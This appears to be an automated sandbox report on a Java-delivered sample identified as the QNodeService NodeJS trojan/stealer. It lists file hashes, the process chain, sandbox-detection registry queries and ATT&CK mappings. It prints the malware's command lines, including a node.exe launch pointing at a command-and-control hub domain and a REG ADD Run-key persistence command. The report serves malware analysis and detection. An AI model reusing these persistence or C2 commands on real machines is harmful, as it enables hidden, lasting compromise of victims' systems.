Behavioral Report

Resubmissions

19-11-2020 12:24

201119-bqdcdjzgxs 10

Analysis

max time kernel
45s
max time network
135s
platform
windows10_x64
resource
win10v20201028
submitted
19-11-2020 12:24

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Report Files Registry Network Processes Mutex Misc

General

Target

jar.jar
Size

81KB
MD5

9e8b6710fdd55ad0675295c2c3960732
SHA1

aed08772376bde9f848f335e77e2e3c3c230234d
SHA256

f2fb2d0c469abc0add346ef809ad86e0194400d391a2e5429b8cbeea2711bbad
SHA512

26f94b0b9766e9c244297cbe4af78f1b09087fbe471f099b5a77f5ca76fd5c905ee4d36188af67dbd6dc2c7f8402c882d0d2503a288af277840a1025562eac96

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice
Executes dropped EXE 3 IoCs

Processes:

node.exenode.exenode.exe

pid process

3524 node.exe
2652 node.exe
1200 node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

TTPs:

Registry Run Keys / Startup Folder Modify Registry

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\cf695db1-96d2-45d6-a745-87e554e6cd0d = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

Processes:

resource	yara_rule
behavioral2/files/0x000100000001ab51-170.dat	js
behavioral2/files/0x000100000001ab51-174.dat	js
behavioral2/files/0x000100000001ab51-178.dat	js

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

21 wtfismyip.com
22 wtfismyip.com

flow	ioc
21	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

TTPs:

Query Registry System Information Discovery

Processes:

node.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

node.exenode.exenode.exe

pid	process
3524	node.exe
3524	node.exe
3524	node.exe
3524	node.exe
2652	node.exe
2652	node.exe
2652	node.exe
2652	node.exe
1200	node.exe
1200	node.exe
1200	node.exe
1200	node.exe
1200	node.exe
1200	node.exe
1200	node.exe
1200	node.exe
1200	node.exe
1200	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

java.exejavaw.exenode.exenode.exenode.execmd.exe

description	pid	process	target process
PID 2868 wrote to memory of 3744	2868	java.exe	javaw.exe
PID 2868 wrote to memory of 3744	2868	java.exe	javaw.exe
PID 3744 wrote to memory of 3524	3744	javaw.exe	node.exe
PID 3744 wrote to memory of 3524	3744	javaw.exe	node.exe
PID 3524 wrote to memory of 2652	3524	node.exe	node.exe
PID 3524 wrote to memory of 2652	3524	node.exe	node.exe
PID 2652 wrote to memory of 1200	2652	node.exe	node.exe
PID 2652 wrote to memory of 1200	2652	node.exe	node.exe
PID 1200 wrote to memory of 848	1200	node.exe	cmd.exe
PID 1200 wrote to memory of 848	1200	node.exe	cmd.exe
PID 848 wrote to memory of 4032	848	cmd.exe	reg.exe
PID 848 wrote to memory of 4032	848	cmd.exe	reg.exe

C:\ProgramData\Oracle\Java\javapath\java.exe

java -jar C:\Users\Admin\AppData\Local\Temp\jar.jar

Suspicious use of WriteProcessMemory

PID:2868

C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe

"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\08637946.tmp

Suspicious use of WriteProcessMemory

PID:3744

C:\Users\Admin\node-v14.12.0-win-x64\node.exe

C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain tmv2020.zapto.org

Executes dropped EXE
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory

PID:3524

C:\Users\Admin\node-v14.12.0-win-x64\node.exe

C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_eahL7y\boot.js --hub-domain tmv2020.zapto.org

Executes dropped EXE
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory

PID:2652

C:\Users\Admin\node-v14.12.0-win-x64\node.exe

C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_eahL7y\boot.js --hub-domain tmv2020.zapto.org

Executes dropped EXE
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory

PID:1200

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "cf695db1-96d2-45d6-a745-87e554e6cd0d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""

Suspicious use of WriteProcessMemory

PID:848

C:\Windows\system32\reg.exe

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "cf695db1-96d2-45d6-a745-87e554e6cd0d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""

Adds Run key to start application

PID:4032

Network

MITRE ATT&CK Matrix

Collection

Command and Control

Credential Access

Defense Evasion

Modify Registry

T1112

Discovery

Query Registry

T1012

System Information Discovery

T1082

Execution

Exfiltration

Impact

Initial Access

Lateral Movement

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Replay Monitor

00:00 00:00

Downloads

C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
MD5
3031a035435f0b9d833559aceedc07c6

SHA1
e806e287c7b1324969351d6d7b3aa9903bb053f6

SHA256
df480b78ce4f2811ba6849fbc1e892b4cefc4a6e00f616c9157b7b55c5ce088e

SHA512
dae7101c4ffc96f8c8f89aaf638253e8199c2973412764e07062e0b75d98cbf0a0d3ef8228b7f14c7ed62e4033e22ce145e451c36b21cc4c2d5cfa6c6349e0d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\08637946.tmp
MD5
9e8b6710fdd55ad0675295c2c3960732

SHA1
aed08772376bde9f848f335e77e2e3c3c230234d

SHA256
f2fb2d0c469abc0add346ef809ad86e0194400d391a2e5429b8cbeea2711bbad

SHA512
26f94b0b9766e9c244297cbe4af78f1b09087fbe471f099b5a77f5ca76fd5c905ee4d36188af67dbd6dc2c7f8402c882d0d2503a288af277840a1025562eac96

Download Submit
C:\Users\Admin\AppData\Local\Temp\_qhub_node_eahL7y\boot.js
MD5
3859487feb5152e9d1afc4f8cd320608

SHA1
7bf154c9ddf3a71abf15906cdb60773e8ae07b62

SHA256
8d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13

SHA512
826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
memory/848-180-0x0000000000000000-mapping.dmp

Download
memory/1200-179-0x0000010C14700000-0x0000010C14701000-memory.dmp

Filesize
4KB

Download
memory/1200-177-0x0000000000000000-mapping.dmp

Download
memory/2652-173-0x0000000000000000-mapping.dmp

Download
memory/2652-175-0x0000032D28D00000-0x0000032D28D01000-memory.dmp

Filesize
4KB

Download
memory/3524-172-0x0000014395980000-0x0000014395981000-memory.dmp

Filesize
4KB

Download
memory/3524-169-0x0000000000000000-mapping.dmp

Download
memory/3744-53-0x0000000000000000-mapping.dmp

Download
memory/4032-181-0x0000000000000000-mapping.dmp

Download